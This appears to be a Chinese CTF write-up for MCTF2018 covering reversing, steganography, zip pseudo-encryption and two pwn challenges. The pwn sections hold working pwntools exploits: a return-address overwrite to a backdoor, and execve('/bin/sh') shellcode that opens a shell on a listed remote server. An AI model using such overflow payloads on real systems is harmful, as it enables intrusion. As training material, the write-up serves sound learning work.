MCTF2018-1

hello hello

ida打开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mov     [rbp+s2], 4Dh ; 'M'
mov [rbp+var_5F], 43h ; 'C'
mov [rbp+var_5E], 54h ; 'T'
mov [rbp+var_5D], 46h ; 'F'
mov [rbp+var_5C], 7Bh ; '{'
mov [rbp+var_5B], 77h ; 'w'
mov [rbp+var_5A], 65h ; 'e'
mov [rbp+var_59], 31h ; '1'
mov [rbp+var_58], 63h ; 'c'
mov [rbp+var_57], 6Fh ; 'o'
mov [rbp+var_56], 6Dh ; 'm'
mov [rbp+var_55], 65h ; 'e'
mov [rbp+var_54], 5Fh ; '_'
mov [rbp+var_53], 32h ; '2'
mov [rbp+var_52], 6Fh ; 'o'
mov [rbp+var_51], 5Fh ; '_'
mov [rbp+var_50], 52h ; 'R'
mov [rbp+var_4F], 65h ; 'e'
mov [rbp+var_4E], 76h ; 'v'
mov [rbp+var_4D], 65h ; 'e'
mov [rbp+var_4C], 72h ; 'r'
mov [rbp+var_4B], 73h ; 's'
mov [rbp+var_4A], 65h ; 'e'
mov [rbp+var_49], 5Fh ; '_'
mov [rbp+var_48], 57h ; 'W'
mov [rbp+var_47], 6Fh ; 'o'
mov [rbp+var_46], 72h ; 'r'
mov [rbp+var_45], 31h ; '1'
mov [rbp+var_44], 64h ; 'd'
mov [rbp+var_43], 7Dh ; '}'

drink coffee

luyten打开,check函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static boolean CHECK(final int input) {
if (input > 10000000 && input < 99999999) {
int v7 = 1;
int v8 = 10000000;
int v9 = 1;
if (Math.abs(input / 1000 % 100 - 80) == 3 && input % 1000 % 927 == 0) {
for (int v10 = 0; v10 < 4; ++v10) {
if (input / v7 % 10 != input / v8 % 10) {
v9 = 0;
break;
}
v7 *= 10;
v8 /= 10;
}
if (v9 != 1) {
return false;
}
if (v9 == 1) {
return true;
}
}
}
return false;
}

本来想用这几天在研究的z3求解的…可是前面两题到现在也没能解出来…这一题运行z3脚本一直卡住,没有任何提示orz。
只好不用z3,魔改了原代码求passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(10000000,99999999):
v7 = 1
v8 = 10000000
v9 = 1
if (abs(i / 1000 % 100 - 80) == 3 and i % 1000 % 927 == 0):
for j in range(4):
if (i / v7 % 10 != i / v8 % 10):
v9 = 0
break
v7 *= 10
v8 /= 10
if (v9 == 1):
print i

运行后打印出passwd,输入后得到flag。

听说你是萌新

一张jpg,hexfiend打开在文件末尾得到flag。

不如…

一张png,binwalk看一下:

1
2
3
4
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1332 x 747, 8-bit/color RGBA, non-interlaced
830060 0xCAA6C End of Zip archive

发现是zip结尾,搜索IEND找到png的结尾,然后把后面的zip全部copy下来保存为新文件。mac直接可以解压,但是解压出来的docx啥也看不见,开虚拟机用windows看了一下发现有密码,所以应该就是伪加密了,找到第二个PK后标记有无密码的位置,把01改为00,解压后查看docx得到flag。

猜猜flag

走后门吗

有后门函数直接可以开shell,直接栈溢出覆盖返回地址:

1
2
3
4
5
6
7
from pwn import *
sh=remote("123.206.131.120",10001)
backdoor_add=0x4006e0
sh.recv()
payload="a"*0x58+p64(backdoor_add)
sh.sendline(payload)
sh.interactive()

后门?不存在的

和上面一题基本差不多,不过没有后门函数了。同样的栈溢出,没开nx保护,同时会打印出存放输入的内存地址,找了个shellcode:

1
2
3
4
5
6
7
8
9
from pwn import *
sh=remote("123.206.131.120",10002)
sh.recvuntil("is")
sh.recv(3)
add=int(sh.recv(12),16)
shellcode="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
payload=shellcode+'\x90'*(0x58-len(shellcode))+p64(add)
sh.sendline(payload)
sh.interactive()

做出了后门也不给你走

文章目录
  1. 1. hello hello
  2. 2. drink coffee
  3. 3. 听说你是萌新
  4. 4. 不如…
  5. 5. 猜猜flag
  6. 6. 走后门吗
  7. 7. 后门?不存在的
  8. 8. 做出了后门也不给你走
|